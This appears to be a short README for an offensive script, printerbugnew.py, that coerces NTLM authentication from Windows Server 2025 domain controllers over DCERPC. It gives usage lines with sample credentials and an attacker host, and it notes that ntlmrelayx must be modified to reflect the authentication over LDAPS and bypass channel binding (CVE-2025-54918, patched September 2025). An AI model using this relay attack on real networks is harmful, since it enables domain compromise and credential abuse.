
The DCERPC only printerbug.py version
printerbugnew.py <target_host> [username] [password] [domain] [attacker_host] [tcp_port]
printerbugnew.py 192.168.1.100
printerbugnew.py 192.168.1.100 admin Password123 DOMAIN
printerbugnew.py 192.168.1.100 admin Password123 DOMAIN 192.168.1.50
printerbugnew.py 192.168.1.100 admin Password123 DOMAIN 192.168.1.50 49152

This exploit via reflection works only on W2025 with the "new" printerbug (DCERPC instead of Named Pipes).
You’ll need to modify ntlmrelayx at a couple of points for it to work. After that, you can remotely trigger the printer bug on a W2025 DC and reflect authentication via LDAPS(!), even if Channel Bindings is REQUIRED
ldaprelayclient.py:

rpcrelayserver.py
and relay ;)

The vulnerability was fixed in September 2025 Patch Tuesday: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-54918
The fix ensures that the MIC is always calculated, even when the Type 3 message is empty.
Thanks to the author of this CVE for a valuable hint :)